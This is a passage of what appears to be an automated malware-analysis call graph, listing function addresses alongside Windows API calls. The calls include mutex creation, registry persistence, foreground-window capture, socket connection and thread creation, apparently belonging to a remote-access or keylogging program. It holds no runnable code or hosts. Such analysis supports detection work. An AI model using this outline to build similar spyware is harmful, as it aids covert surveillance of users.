calls 4 library calls 47753->47789 47790 445888 EnterCriticalSection 47753->47790 47791 446782 20 API calls _free 47753->47791 47792 44f108 LeaveCriticalSection std::_Lockit::~_Lockit 47753->47792 47793 43a7b7 47755->47793 47758 44ed0d GetOEMCP 47760 44ed36 47758->47760 47759 44ed1f 47759->47760 47761 44ed24 GetACP 47759->47761 47760->47719 47762 446137 47760->47762 47761->47760 47763 446175 47762->47763 47767 446145 ___crtLCMapStringA 47762->47767 47804 4405dd 20 API calls _free 47763->47804 47764 446160 RtlAllocateHeap 47766 446173 47764->47766 47764->47767 47766->47715 47769 44f119 47766->47769 47767->47763 47767->47764 47803 442f80 7 API calls 2 library calls 47767->47803 47770 44ecec 38 API calls 47769->47770 47771 44f138 47770->47771 47774 44f189 IsValidCodePage 47771->47774 47776 44f13f 47771->47776 47778 44f1ae ___scrt_get_show_window_mode 47771->47778 47772 434fcb _ValidateLocalCookies 5 API calls 47773 44efba 47772->47773 47773->47720 47773->47723 47775 44f19b GetCPInfo 47774->47775 47774->47776 47775->47776 47775->47778 47776->47772 47805 44edc4 GetCPInfo 47778->47805 47779->47715 47780->47719 47781->47722 47782->47715 47783->47727 47784->47736 47785->47735 47786->47741 47787->47745 47788->47744 47789->47753 47790->47753 47791->47753 47792->47753 47794 43a7ca 47793->47794 47795 43a7d4 47793->47795 47794->47758 47794->47759 47795->47794 47796 448215 pre_c_initialization 36 API calls 47795->47796 47797 43a7f5 47796->47797 47801 448364 36 API calls __Tolower 47797->47801 47799 43a80e 47802 448391 36 API calls __cftoe 47799->47802 47801->47799 47802->47794 47803->47767 47804->47766 47811 44edfe 47805->47811 47814 44eea8 47805->47814 47808 434fcb _ValidateLocalCookies 5 API calls 47810 44ef54 47808->47810 47810->47776 47815 45112c 47811->47815 47813 44ae66 _swprintf 41 API calls 47813->47814 47814->47808 47816 43a7b7 __cftoe 36 API calls 47815->47816 47817 45114c MultiByteToWideChar 47816->47817 47819 451222 47817->47819 47820 45118a 47817->47820 47821 434fcb _ValidateLocalCookies 5 API calls 47819->47821 47823 446137 ___crtLCMapStringA 21 API calls 47820->47823 47825 4511ab __alloca_probe_16 ___scrt_get_show_window_mode 47820->47825 47824 44ee5f 47821->47824 47822 45121c 47834 435e40 20 API calls _free 47822->47834 47823->47825 47829 44ae66 47824->47829 47825->47822 47827 4511f0 MultiByteToWideChar 47825->47827 47827->47822 47828 45120c GetStringTypeW 47827->47828 47828->47822 47830 43a7b7 __cftoe 36 API calls 47829->47830 47831 44ae79 47830->47831 47835 44ac49 47831->47835 47834->47819 47836 44ac64 ___crtLCMapStringA 47835->47836 47837 44ac8a MultiByteToWideChar 47836->47837 47838 44acb4 47837->47838 47839 44ae3e 47837->47839 47842 446137 ___crtLCMapStringA 21 API calls 47838->47842 47845 44acd5 __alloca_probe_16 47838->47845 47840 434fcb _ValidateLocalCookies 5 API calls 47839->47840 47841 44ae51 47840->47841 47841->47813 47842->47845 47843 44ad8a 47871 435e40 20 API calls _free 47843->47871 47844 44ad1e MultiByteToWideChar 47844->47843 47846 44ad37 47844->47846 47845->47843 47845->47844 47862 448bb3 47846->47862 47850 44ad61 47850->47843 47854 448bb3 _strftime 11 API calls 47850->47854 47851 44ad99 47852 446137 ___crtLCMapStringA 21 API calls 47851->47852 47856 44adba __alloca_probe_16 47851->47856 47852->47856 47853 44ae2f 47870 435e40 20 API calls _free 47853->47870 47854->47843 47856->47853 47857 448bb3 _strftime 11 API calls 47856->47857 47858 44ae0e 47857->47858 47858->47853 47859 44ae1d WideCharToMultiByte 47858->47859 47859->47853 47860 44ae5d 47859->47860 47872 435e40 20 API calls _free 47860->47872 47873 4484ca 47862->47873 47866 448c23 LCMapStringW 47867 448be3 47866->47867 47868 434fcb _ValidateLocalCookies 5 API calls 47867->47868 47869 448c35 47868->47869 47869->47843 47869->47850 47869->47851 47870->47843 47871->47839 47872->47843 47874 4484f6 47873->47874 47875 4484fa 47873->47875 47874->47875 47879 44851a 47874->47879 47881 448566 47874->47881 47875->47867 47880 448c3b 10 API calls 3 library calls 47875->47880 47877 448526 GetProcAddress 47878 448536 __crt_fast_encode_pointer 47877->47878 47878->47875 47879->47875 47879->47877 47880->47866 47882 448587 LoadLibraryExW 47881->47882 47886 44857c 47881->47886 47883 4485a4 GetLastError 47882->47883 47884 4485bc 47882->47884 47883->47884 47887 4485af LoadLibraryExW 47883->47887 47885 4485d3 FreeLibrary 47884->47885 47884->47886 47885->47886 47886->47874 47887->47884 47889 41cb8f LoadLibraryA GetProcAddress 47888->47889 47890 41cb7f GetModuleHandleA GetProcAddress 47888->47890 47891 41cbb8 44 API calls 47889->47891 47892 41cba8 LoadLibraryA GetProcAddress 47889->47892 47890->47889 47891->47299 47892->47891 48309 41b4a8 FindResourceA 47893->48309 47897 40f3ed _Yarn 48319 4020b7 47897->48319 47900 401fe2 28 API calls 47901 40f413 47900->47901 47902 401fd8 11 API calls 47901->47902 47903 40f41c 47902->47903 47904 43bd51 ___std_exception_copy 21 API calls 47903->47904 47905 40f42d _Yarn 47904->47905 48325 406dd8 47905->48325 47907 40f460 47907->47301 47909 40210c 47908->47909 47910 4023ce 11 API calls 47909->47910 47911 402126 47910->47911 47912 402569 28 API calls 47911->47912 47913 402134 47912->47913 47913->47304 48379 4020df 47914->48379 47916 401fd8 11 API calls 47917 41bed0 47916->47917 47918 401fd8 11 API calls 47917->47918 47920 41bed8 47918->47920 47919 41bea0 47921 4041a2 28 API calls 47919->47921 47923 401fd8 11 API calls 47920->47923 47924 41beac 47921->47924 47927 40ea24 47923->47927 47928 401fe2 28 API calls 47924->47928 47925 41be2e 47925->47919 47926 401fe2 28 API calls 47925->47926 47931 401fd8 11 API calls 47925->47931 47935 41be9e 47925->47935 48383 4041a2 47925->48383 48386 41ce34 28 API calls 47925->48386 47926->47925 47936 40fb17 47927->47936 47929 41beb5 47928->47929 47930 401fd8 11 API calls 47929->47930 47932 41bebd 47930->47932 47931->47925 48387 41ce34 28 API calls 47932->48387 47935->47916 47937 40fb23 47936->47937 47939 40fb2a 47936->47939 48394 402163 11 API calls 47937->48394 47939->47309 47941 402163 47940->47941 47945 40219f 47941->47945 48395 402730 11 API calls 47941->48395 47943 402184 48396 402712 11 API calls std::_Deallocate 47943->48396 47945->47311 47947 401e6d 47946->47947 47948 401e75 47947->47948 48397 402158 22 API calls 47947->48397 47948->47316 47952 4020df 11 API calls 47951->47952 47953 40532a 47952->47953 48398 4032a0 47953->48398 47955 405346 47955->47325 48402 4051ef 47956->48402 47958 406391 48406 402055 47958->48406 47961 401fe2 47962 401ff1 47961->47962 47963 402039 47961->47963 47964 4023ce 11 API calls 47962->47964 47970 401fd8 47963->47970 47965 401ffa 47964->47965 47966 40203c 47965->47966 47967 402015 47965->47967 47968 40267a 11 API calls 47966->47968 48438 403098 28 API calls 47967->48438 47968->47963 47971 4023ce 11 API calls 47970->47971 47972 401fe1 47971->47972 47972->47336 47974 401fd2 47973->47974 47975 401fc9 47973->47975 47974->47342 48439 4025e0 28 API calls 47975->48439 48440 401fab 47977->48440 47979 40d073 CreateMutexA GetLastError 47979->47358 48441 41bfb7 47980->48441 47985 401fe2 28 API calls 47986 41b2ff 47985->47986 47987 401fd8 11 API calls 47986->47987 47988 41b307 47987->47988 47989 4135a6 31 API calls 47988->47989 47991 41b35d 47988->47991 47990 41b330 47989->47990 47992 41b33b StrToIntA 47990->47992 47991->47364 47993 41b349 47992->47993 47996 41b352 47992->47996 48449 41cf69 22 API calls 47993->48449 47995 401fd8 11 API calls 47995->47991 47996->47995 47998 40772a 47997->47998 47999 413549 3 API calls 47998->47999 48000 407731 47999->48000 48000->47376 48000->47377 48002 41bc72 48001->48002 48450 40b904 48002->48450 48004 41bc7a 48004->47392 48006 401f22 48005->48006 48013 401f6a 48005->48013 48007 402252 11 API calls 48006->48007 48008 401f2b 48007->48008 48009 401f6d 48008->48009 48011 401f46 48008->48011 48483 402336 48009->48483 48482 40305c 28 API calls 48011->48482 48014 401f09 48013->48014 48015 402252 11 API calls 48014->48015 48016 401f12 48015->48016 48016->47404 48018 413965 48017->48018 48019 406dd8 28 API calls 48018->48019 48020 41397a 48019->48020 48021 4020f6 28 API calls 48020->48021 48022 41398a 48021->48022 48023 41376f 14 API calls 48022->48023 48024 413994 48023->48024 48025 401fd8 11 API calls 48024->48025 48026 4139a1 48025->48026 48026->47452 48028 40209b 48027->48028 48029 4023ce 11 API calls 48028->48029 48030 4020a6 48029->48030 48487 4024ed 48030->48487 48034 4137bf 48033->48034 48035 413788 48033->48035 48036 401fd8 11 API calls 48034->48036 48038 41379a RegSetValueExA RegCloseKey 48035->48038 48037 40ef9e 48036->48037 48037->47455 48038->48034 48040 43bac5 _strftime 48039->48040 48491 43ae03 48040->48491 48042 40efb7 48042->47461 48042->47463 48044 41b5a0 48043->48044 48045 41b505 GetLocalTime 48043->48045 48047 401fd8 11 API calls 48044->48047 48046 40531e 28 API calls 48045->48046 48049 41b547 48046->48049 48048 41b5a8 48047->48048 48050 401fd8 11 API calls 48048->48050 48051 406383 28 API calls 48049->48051 48052 40f00d 48050->48052 48053 41b553 48051->48053 48052->47479 48518 402f10 48053->48518 48056 406383 28 API calls 48057 41b56b 48056->48057 48523 407200 77 API calls 48057->48523 48059 41b579 48060 401fd8 11 API calls 48059->48060 48061 41b585 48060->48061 48062 401fd8 11 API calls 48061->48062 48063 41b58e 48062->48063 48064 401fd8 11 API calls 48063->48064 48065 41b597 48064->48065 48066 401fd8 11 API calls 48065->48066 48066->48044 48068 409e02 _wcslen 48067->48068 48069 409e24 48068->48069 48070 409e0d 48068->48070 48072 40da34 31 API calls 48069->48072 48071 40da34 31 API calls 48070->48071 48073 409e15 48071->48073 48074 409e2c 48072->48074 48075 401f13 28 API calls 48073->48075 48076 401f13 28 API calls 48074->48076 48077 409e1f 48075->48077 48078 409e3a 48076->48078 48080 401f09 11 API calls 48077->48080 48079 401f09 11 API calls 48078->48079 48081 409e42 48079->48081 48082 409e79 48080->48082 48542 40915b 28 API calls 48081->48542 48527 40a109 48082->48527 48084 409e54 48543 403014 48084->48543 48089 401f13 28 API calls 48090 409e69 48089->48090 48091 401f09 11 API calls 48090->48091 48091->48077 48093 41b630 GetUserNameW 48092->48093 48595 40417e 48093->48595 48098 403014 28 API calls 48099 41b672 48098->48099 48100 401f09 11 API calls 48099->48100 48101 41b67b 48100->48101 48102 401f09 11 API calls 48101->48102 48103 40f223 48102->48103 48103->47532 48105 413520 RegQueryValueExA RegCloseKey 48104->48105 48106 40f2e4 48104->48106 48105->48106 48106->47405 48106->47561 48108 40f392 48107->48108 48109 413a3f RegDeleteValueW 48107->48109 48108->47399 48109->48108 48111 40dd5b 48110->48111 48112 4134ff 3 API calls 48111->48112 48113 40dd62 48112->48113 48117 40dd81 48113->48117 48689 401707 48113->48689 48115 40dd6f 48692 413877 RegCreateKeyA 48115->48692 48118 414f2a 48117->48118 48119 4020df 11 API calls 48118->48119 48120 414f3e 48119->48120 48712 41b8b3 48120->48712 48123 4020df 11 API calls 48124 414f54 48123->48124 48125 401e65 22 API calls 48124->48125 48126 414f62 48125->48126 48127 43baac _strftime 40 API calls 48126->48127 48128 414f6f 48127->48128 48129 414f81 48128->48129 48130 414f74 Sleep 48128->48130 48131 402093 28 API calls 48129->48131 48130->48129 48132 414f90 48131->48132 48133 401e65 22 API calls 48132->48133 48134 414f99 48133->48134 48135 4020f6 28 API calls 48134->48135 48136 414fa4 48135->48136 48137 41be1b 28 API calls 48136->48137 48138 414fac 48137->48138 48716 40489e WSAStartup 48138->48716 48140 414fb6 48141 401e65 22 API calls 48140->48141 48142 414fbf 48141->48142 48143 401e65 22 API calls 48142->48143 48168 41503e 48142->48168 48144 414fd8 48143->48144 48147 401e65 22 API calls 48144->48147 48145 401e65 22 API calls 48145->48168 48146 4020f6 28 API calls 48146->48168 48148 414fe9 48147->48148 48150 401e65 22 API calls 48148->48150 48149 41be1b 28 API calls 48149->48168 48151 414ffa 48150->48151 48152 401e65 22 API calls 48151->48152 48154 41500b 48152->48154 48153 406c1e 28 API calls 48153->48168 48156 401e65 22 API calls 48154->48156 48155 401fe2 28 API calls 48155->48168 48157 41501c 48156->48157 48159 401e65 22 API calls 48157->48159 48158 401fd8 11 API calls 48158->48168 48160 41502e 48159->48160 48874 40473d 89 API calls 48160->48874 48163 41518c WSAGetLastError 48875 41cae1 30 API calls 48163->48875 48168->48145 48168->48146 48168->48149 48168->48153 48168->48155 48168->48158 48168->48163 48170 41b4ef 80 API calls 48168->48170 48172 40531e 28 API calls 48168->48172 48173 401e8d 11 API calls 48168->48173 48175 415a0f 48168->48175 48178 406383 28 API calls 48168->48178 48179 402f10 28 API calls 48168->48179 48180 402093 28 API calls 48168->48180 48183 40905c 28 API calls 48168->48183 48185 4136f8 3 API calls 48168->48185 48186 4135a6 31 API calls 48168->48186 48187 40417e 28 API calls 48168->48187 48192 401e65 22 API calls 48168->48192 48717 414ee9 48168->48717 48722 40482d 48168->48722 48729 404f51 48168->48729 48744 4048c8 connect 48168->48744 48804 41b7e0 48168->48804 48807 4145bd 48168->48807 48810 441e81 48168->48810 48814 40dd89 48168->48814 48820 41bc42 48168->48820 48823 41bd1e 48168->48823 48827 41bb8e 48168->48827 48860 404e26 WaitForSingleObject 48168->48860 48876 4052fd 28 API calls 48168->48876 48170->48168 48172->48168 48173->48168 48174 401e65 22 API calls 48174->48175 48175->48168 48175->48174 48176 43baac _strftime 40 API calls 48175->48176 48210 402093 28 API calls 48175->48210 48211 41b4ef 80 API calls 48175->48211 48212 415a71 CreateThread 48175->48212 48213 401fd8 11 API calls 48175->48213 48214 401f09 11 API calls 48175->48214 48878 40b051 85 API calls 48175->48878 48177 415acf Sleep 48176->48177 48177->48168 48178->48168 48179->48168 48180->48168 48183->48168 48185->48168 48186->48168 48187->48168 48193 415439 GetTickCount 48192->48193 48194 41bb8e 28 API calls 48193->48194 48202 415456 48194->48202 48196 41bb8e 28 API calls 48196->48202 48199 41bd1e 28 API calls 48199->48202 48201 406383 28 API calls 48201->48202 48202->48196 48202->48199 48202->48201 48203 402ea1 28 API calls 48202->48203 48204 402f10 28 API calls 48202->48204 48206 401fd8 11 API calls 48202->48206 48207 401f09 11 API calls 48202->48207 48832 41bae6 48202->48832 48834 41ba96 48202->48834 48839 40f8d1 29 API calls 48202->48839 48840 402f31 28 API calls 48202->48840 48841 404c10 48202->48841 48877 404aa1 61 API calls _Yarn 48202->48877 48203->48202 48204->48202 48206->48202 48207->48202 48210->48175 48211->48175 48212->48175 49074 41ad17 105 API calls 48212->49074 48213->48175 48214->48175 48215->47317 48216->47324 48217->47328 48220 4020df 11 API calls 48219->48220 48221 406c2a 48220->48221 48222 4032a0 28 API calls 48221->48222 48223 406c47 48222->48223 48223->47350 48225 413573 RegQueryValueExA RegCloseKey 48224->48225 48226 40eba4 48224->48226 48225->48226 48226->47347 48226->47365 48227->47353 48228->47383 48229->47377 48230->47367 48231->47381 49075 401f86 48232->49075 48235 40da70 49079 41b5b4 29 API calls 48235->49079 48236 40daa5 48238 41bfb7 GetCurrentProcess 48236->48238 48237 40db99 GetLongPathNameW 48240 40417e 28 API calls 48237->48240 48241 40daaa 48238->48241 48243 40dbae 48240->48243 48244 40db00 48241->48244 48245 40daae 48241->48245 48242 40da79 48246 401f13 28 API calls 48242->48246 48247 40417e 28 API calls 48243->48247 48248 40417e 28 API calls 48244->48248 48249 40417e 28 API calls 48245->48249 48250 40da83 48246->48250 48252 40dbbd 48247->48252 48253 40db0e 48248->48253 48254 40dabc 48249->48254 48255 401f09 11 API calls 48250->48255 48251 40da66 48251->48237 49082 40ddd1 28 API calls 48252->49082 48259 40417e 28 API calls 48253->48259 48260 40417e 28 API calls 48254->48260 48255->48251 48257 40dbd0 49083 402fa5 28 API calls 48257->49083 48262 40db24 48259->48262 48263 40dad2 48260->48263 48261 40dbdb 49084 402fa5 28 API calls 48261->49084 49081 402fa5 28 API calls 48262->49081 49080 402fa5 28 API calls 48263->49080 48267 40dbe5 48271 401f09 11 API calls 48267->48271 48268 40db2f 48272 401f13 28 API calls 48268->48272 48269 40dadd 48270 401f13 28 API calls 48269->48270 48274 40dae8 48270->48274 48275 40dbef 48271->48275 48273 40db3a 48272->48273 48276 401f09 11 API calls 48273->48276 48277 401f09 11 API calls 48274->48277 48278 401f09 11 API calls 48275->48278 48280 40db43 48276->48280 48281 40daf1 48277->48281 48279 40dbf8 48278->48279 48282 401f09 11 API calls 48279->48282 48283 401f09 11 API calls 48280->48283 48284 401f09 11 API calls 48281->48284 48285 40dc01 48282->48285 48283->48250 48284->48250 48286 401f09 11 API calls 48285->48286 48287 40dc0a 48286->48287 48288 401f09 11 API calls 48287->48288 48289 40dc13 48288->48289 48289->47441 48290->47453 48291->47475 48293 41371e RegQueryValueExA RegCloseKey 48292->48293 48294 413742 48292->48294 48293->48294 48294->47431 48295->47467 48300 4344ef 48296->48300 48297 43bd51 ___std_exception_copy 21 API calls 48297->48300 48298 40f0d1 48298->47506 48300->48297 48300->48298 49085 442f80 7 API calls 2 library calls 48300->49085 49086 434c35 RaiseException Concurrency::cancel_current_task __CxxThrowException@8 48300->49086 49087 43526e RaiseException Concurrency::cancel_current_task __CxxThrowException@8 48300->49087 48303->47537 48304->47525 48306->47569 48307->47372 48310 41b4c5 LoadResource LockResource SizeofResource 48309->48310 48311 40f3de 48309->48311 48310->48311 48312 43bd51 48311->48312 48317 446137 ___crtLCMapStringA 48312->48317 48313 446175 48329 4405dd 20 API calls _free 48313->48329 48314 446160 RtlAllocateHeap 48316 446173 48314->48316 48314->48317 48316->47897 48317->48313 48317->48314 48328 442f80 7 API calls 2 library calls 48317->48328 48320 4020bf 48319->48320 48330 4023ce 48320->48330 48322 4020ca 48334 40250a 48322->48334 48324 4020d9 48324->47900 48326 4020b7 28 API calls 48325->48326 48327 406dec 48326->48327 48327->47907 48328->48317 48329->48316 48331 4023d8 48330->48331 48332 402428 48330->48332 48331->48332 48341 4027a7 11 API calls std::_Deallocate 48331->48341 48332->48322 48335 40251a 48334->48335 48336 402520 48335->48336 48337 402535 48335->48337 48342 402569 48336->48342 48352 4028e8 48337->48352 48340 402533 48340->48324 48341->48332 48363 402888 48342->48363 48344 40257d 48345 402592 48344->48345 48346 4025a7 48344->48346 48368 402a34 22 API calls 48345->48368 48348 4028e8 28 API calls 48346->48348 48351 4025a5 48348->48351 48349 40259b 48369 4029da 22 API calls 48349->48369 48351->48340 48353 4028f1 48352->48353 48354 402953 48353->48354 48355 4028fb 48353->48355 48377 4028a4 22 API calls 48354->48377 48358 402904 48355->48358 48359 402917 48355->48359 48371 402cae 48358->48371 48361 402915 48359->48361 48362 4023ce 11 API calls 48359->48362 48361->48340 48362->48361 48364 402890 48363->48364 48365 402898 48364->48365 48370 402ca3 22 API calls 48364->48370 48365->48344 48368->48349 48369->48351 48372 402cb8 __EH_prolog 48371->48372 48378 402e54 22 API calls 48372->48378 48374 4023ce 11 API calls 48376 402d92 48374->48376 48375 402d24 48375->48374 48376->48361 48378->48375 48380 4020e7 48379->48380 48381 4023ce 11 API calls 48380->48381 48382 4020f2 48381->48382 48382->47925 48388 40423a 48383->48388 48386->47925 48387->47935 48389 404243 48388->48389 48390 4023ce 11 API calls 48389->48390 48391 40424e 48390->48391 48392 402569 28 API calls 48391->48392 48393 4041b5 48392->48393 48393->47925 48394->47939 48395->47943 48396->47945 48400 4032aa 48398->48400 48399 4032c9 48399->47955 48400->48399 48401 4028e8 28 API calls 48400->48401 48401->48399 48403 4051fb 48402->48403 48412 405274 48403->48412 48405 405208 48405->47958 48407 402061 48406->48407 48408 4023ce 11 API calls 48407->48408 48409 40207b 48408->48409 48434 40267a 48409->48434 48413 405282 48412->48413 48414 405288 48413->48414 48415 40529e 48413->48415 48423 4025f0 48414->48423 48417 4052f5 48415->48417 48418 4052b6 48415->48418 48432 4028a4 22 API calls 48417->48432 48421 4028e8 28 API calls 48418->48421 48422 40529c 48418->48422 48421->48422 48422->48405 48424 402888 22 API calls 48423->48424 48425 402602 48424->48425 48426 402672 48425->48426 48428 402629 48425->48428 48433 4028a4 22 API calls 48426->48433 48430 4028e8 28 API calls 48428->48430 48431 40263b 48428->48431 48430->48431 48431->48422 48435 40268b 48434->48435 48436 4023ce 11 API calls 48435->48436 48437 40208d 48436->48437 48437->47961 48438->47963 48439->47974 48442 41bfc4 GetCurrentProcess 48441->48442 48443 41b2d1 48441->48443 48442->48443 48444 4135a6 RegOpenKeyExA 48443->48444 48445 4135d4 RegQueryValueExA RegCloseKey 48444->48445 48446 4135fe 48444->48446 48445->48446 48447 402093 28 API calls 48446->48447 48448 413613 48447->48448 48448->47985 48449->47996 48451 40b90c 48450->48451 48456 402252 48451->48456 48453 40b917 48460 40b92c 48453->48460 48455 40b926 48455->48004 48457 40225c 48456->48457 48458 4022ac 48456->48458 48457->48458 48467 402779 11 API calls std::_Deallocate 48457->48467 48458->48453 48461 40b966 48460->48461 48462 40b938 48460->48462 48479 4028a4 22 API calls 48461->48479 48468 4027e6 48462->48468 48466 40b942 48466->48455 48467->48458 48469 4027ef 48468->48469 48470 402851 48469->48470 48471 4027f9 48469->48471 48481 4028a4 22 API calls 48470->48481 48474 402802 48471->48474 48475 402815 48471->48475 48480 402aea 28 API calls __EH_prolog 48474->48480 48477 402813 48475->48477 48478 402252 11 API calls 48475->48478 48477->48466 48478->48477 48480->48477 48482->48013 48484 402347 48483->48484 48485 402252 11 API calls 48484->48485 48486 4023c7 48485->48486 48486->48013 48488 4024f9 48487->48488 48489 40250a 28 API calls 48488->48489 48490 4020b1 48489->48490 48490->47447 48507 43ba0a 48491->48507 48493 43ae50 48494 43a7b7 __cftoe 36 API calls 48493->48494 48499 43ae5c 48494->48499 48495 43ae15 48495->48493 48496 43ae2a 48495->48496 48506 43ae2f pre_c_initialization 48495->48506 48512 4405dd 20 API calls _free 48496->48512 48500 43ae8b 48499->48500 48513 43ba4f 40 API calls __Tolower 48499->48513 48503 43aef7 48500->48503 48514 43b9b6 20 API calls 2 library calls 48500->48514 48515 43b9b6 20 API calls 2 library calls 48503->48515 48504 43afbe _strftime 48504->48506 48516 4405dd 20 API calls _free 48504->48516 48506->48042 48508 43ba22 48507->48508 48509 43ba0f 48507->48509 48508->48495 48517 4405dd 20 API calls _free 48509->48517 48511 43ba14 pre_c_initialization 48511->48495 48512->48506 48513->48499 48514->48503 48515->48504 48516->48506 48517->48511 48524 401fb0 48518->48524 48520 402f1e 48521 402055 11 API calls 48520->48521 48522 402f2d 48521->48522 48522->48056 48523->48059 48525 4025f0 28 API calls 48524->48525 48526 401fbd 48525->48526 48526->48520 48528 40a127 48527->48528 48529 413549 3 API calls 48528->48529 48530 40a12e 48529->48530 48531 40a142 48530->48531 48532 40a15c 48530->48532 48533 409e9b 48531->48533 48534 40a147 48531->48534 48535 40905c 28 API calls 48532->48535 48533->47498 48548 40905c 48534->48548 48537 40a16a 48535->48537 48555 40a179 86 API calls 48537->48555 48541 40a15a 48541->48533 48542->48084 48572 403222 48543->48572 48545 403022 48576 403262 48545->48576 48549 409072 48548->48549 48550 402252 11 API calls 48549->48550 48551 40908c 48550->48551 48556 404267 48551->48556 48553 40909a 48554 40a22d 29 API calls 48553->48554 48554->48541 48568 40a273 163 API calls 48554->48568 48555->48533 48569 40a267 86 API calls 48555->48569 48570 40a289 48 API calls 48555->48570 48571 40a27d 128 API calls 48555->48571 48557 402888 22 API calls 48556->48557 48558 40427b 48557->48558 48559 404290 48558->48559 48560 4042a5 48558->48560 48566 4042df 22 API calls 48559->48566 48562 4027e6 28 API calls 48560->48562 48565 4042a3 48562->48565 48563 404299 48567 402c48 22 API calls 48563->48567 48565->48553 48566->48563 48567->48565 48573 40322e 48572->48573 48582 403618 48573->48582 48575 40323b 48575->48545 48577 40326e 48576->48577 48578 402252 11 API calls 48577->48578 48579 403288 48578->48579 48580 402336 11 API calls 48579->48580 48581 403031 48580->48581 48581->48089 48583 403626 48582->48583 48584 403644 48583->48584 48585 40362c 48583->48585 48587 40369e 48584->48587 48589 40365c 48584->48589 48593 4036a6 28 API calls 48585->48593 48594 4028a4 22 API calls 48587->48594 48591 4027e6 28 API calls 48589->48591 48592 403642 48589->48592 48591->48592 48592->48575 48593->48592 48596 404186 48595->48596 48597 402252 11 API calls 48596->48597 48598 404191 48597->48598 48606 4041bc 48598->48606 48601 4042fc 48617 404353 48601->48617 48603 40430a 48604 403262 11 API calls 48603->48604 48605 404319 48604->48605 48605->48098 48607 4041c8 48606->48607 48610 4041d9 48607->48610 48609 40419c 48609->48601 48611 4041e9 48610->48611 48612 404206 48611->48612 48613 4041ef 48611->48613 48614 4027e6 28 API calls 48612->48614 48615 404267 28 API calls 48613->48615 48616 404204 48614->48616 48615->48616 48616->48609 48618 40435f 48617->48618 48621 404371 48618->48621 48620 40436d 48620->48603 48622 40437f 48621->48622 48623 404385 48622->48623 48624 40439e 48622->48624 48687 4034e6 28 API calls 48623->48687 48625 402888 22 API calls 48624->48625 48626 4043a6 48625->48626 48628 404419 48626->48628 48629 4043bf 48626->48629 48688 4028a4 22 API calls 48628->48688 48632 4027e6 28 API calls 48629->48632 48640 40439c 48629->48640 48632->48640 48640->48620 48687->48640 48695 43aa9a 48689->48695 48693 4138b9 48692->48693 48694 41388f RegSetValueExA RegCloseKey 48692->48694 48693->48117 48694->48693 48698 43aa1b 48695->48698 48697 40170d 48697->48115 48699 43aa2a 48698->48699 48700 43aa3e 48698->48700 48711 4405dd 20 API calls _free 48699->48711 48703 43aa2f pre_c_initialization __alldvrm 48700->48703 48704 448957 48700->48704 48703->48697 48705 4484ca pre_c_initialization 5 API calls 48704->48705 48706 44897e 48705->48706 48707 448996 GetSystemTimeAsFileTime 48706->48707 48708 44898a 48706->48708 48707->48708 48709 434fcb _ValidateLocalCookies 5 API calls 48708->48709 48710 4489a7 48709->48710 48710->48703 48711->48703 48715 41b8f9 _Yarn ___scrt_get_show_window_mode 48712->48715 48713 402093 28 API calls 48714 414f49 48713->48714 48714->48123 48715->48713 48716->48140 48718 414f02 getaddrinfo WSASetLastError 48717->48718 48719 414ef8 48717->48719 48718->48168 48879 414d86 48719->48879 48723 404846 socket 48722->48723 48724 404839 48722->48724 48725 404860 CreateEventW 48723->48725 48726 404842 48723->48726 48918 40489e WSAStartup 48724->48918 48725->48168 48726->48168 48728 40483e 48728->48723 48728->48726 48730 404f65 48729->48730 48731 404fea 48729->48731 48732 404f6e 48730->48732 48733 404fc0 CreateEventA CreateThread 48730->48733 48734 404f7d GetLocalTime 48730->48734 48731->48168 48732->48733 48733->48731 48920 405150 48733->48920 48735 41bb8e 28 API calls 48734->48735 48736 404f91 48735->48736 48919 4052fd 28 API calls 48736->48919 48745 404a1b 48744->48745 48746 4048ee 48744->48746 48747 40497e 48745->48747 48748 404a21 WSAGetLastError 48745->48748 48746->48747 48749 404923 48746->48749 48751 40531e 28 API calls 48746->48751 48747->48168 48748->48747 48750 404a31 48748->48750 48924 420c60 27 API calls 48749->48924 48752 404932 48750->48752 48753 404a36 48750->48753 48756 40490f 48751->48756 48759 402093 28 API calls 48752->48759 48935 41cae1 30 API calls 48753->48935 48755 40492b 48755->48752 48758 404941 48755->48758 48760 402093 28 API calls 48756->48760 48768 404950 48758->48768 48769 404987 48758->48769 48762 404a80 48759->48762 48763 40491e 48760->48763 48761 404a40 48936 4052fd 28 API calls 48761->48936 48765 402093 28 API calls 48762->48765 48766 41b4ef 80 API calls 48763->48766 48770 404a8f 48765->48770 48766->48749 48774 402093 28 API calls 48768->48774 48932 421a40 54 API calls 48769->48932 48775 41b4ef 80 API calls 48770->48775 48778 40495f 48774->48778 48775->48747 48776 40498f 48779 4049c4 48776->48779 48780 404994 48776->48780 48782 402093 28 API calls 48778->48782 48934 420e06 28 API calls 48779->48934 48783 402093 28 API calls 48780->48783 48785 40496e 48782->48785 48787 4049a3 48783->48787 48788 41b4ef 80 API calls 48785->48788 48790 402093 28 API calls 48787->48790 48791 404973 48788->48791 48789 4049cc 48792 4049f9 CreateEventW CreateEventW 48789->48792 48794 402093 28 API calls 48789->48794 48793 4049b2 48790->48793 48925 420ca0 48791->48925 48792->48747 48796 41b4ef 80 API calls 48793->48796 48795 4049e2 48794->48795 48798 402093 28 API calls 48795->48798 48799 4049b7 48796->48799 48800 4049f1 48798->48800 48933 4210b2 52 API calls 48799->48933 48802 41b4ef 80 API calls 48800->48802 48803 4049f6 48802->48803 48803->48792 48939 41b7b6 GlobalMemoryStatusEx 48804->48939 48806 41b7f5 48806->48168 48940 414580 48807->48940 48811 441e8d 48810->48811 48969 441c7d 48811->48969 48813 441eae 48813->48168 48815 40dda5 48814->48815 48816 4134ff 3 API calls 48815->48816 48818 40ddac 48816->48818 48817 40ddc4 48817->48168 48818->48817 48819 413549 3 API calls 48818->48819 48819->48817 48821 4020b7 28 API calls 48820->48821 48822 41bc57 48821->48822 48822->48168 48824 41bd2b 48823->48824 48825 4020b7 28 API calls 48824->48825 48826 41bd3d 48825->48826 48826->48168 48828 441e81 20 API calls 48827->48828 48829 41bbb2 48828->48829 48830 402093 28 API calls 48829->48830 48831 41bbc0 48830->48831 48831->48168 48833 41bafc GetTickCount 48832->48833 48833->48202 48835 436e90 ___scrt_get_show_window_mode 48834->48835 48836 41bab5 GetForegroundWindow GetWindowTextW 48835->48836 48837 40417e 28 API calls 48836->48837 48838 41badf 48837->48838 48838->48202 48839->48202 48840->48202 48842 4020df 11 API calls 48841->48842 48843 404c27 48842->48843 48844 4020df 11 API calls 48843->48844 48856 404c30 48844->48856 48845 43bd51 ___std_exception_copy 21 API calls 48845->48856 48847 404c96 48849 404ca1 48847->48849 48847->48856 48848 4020b7 28 API calls 48848->48856 48851 404e26 99 API calls 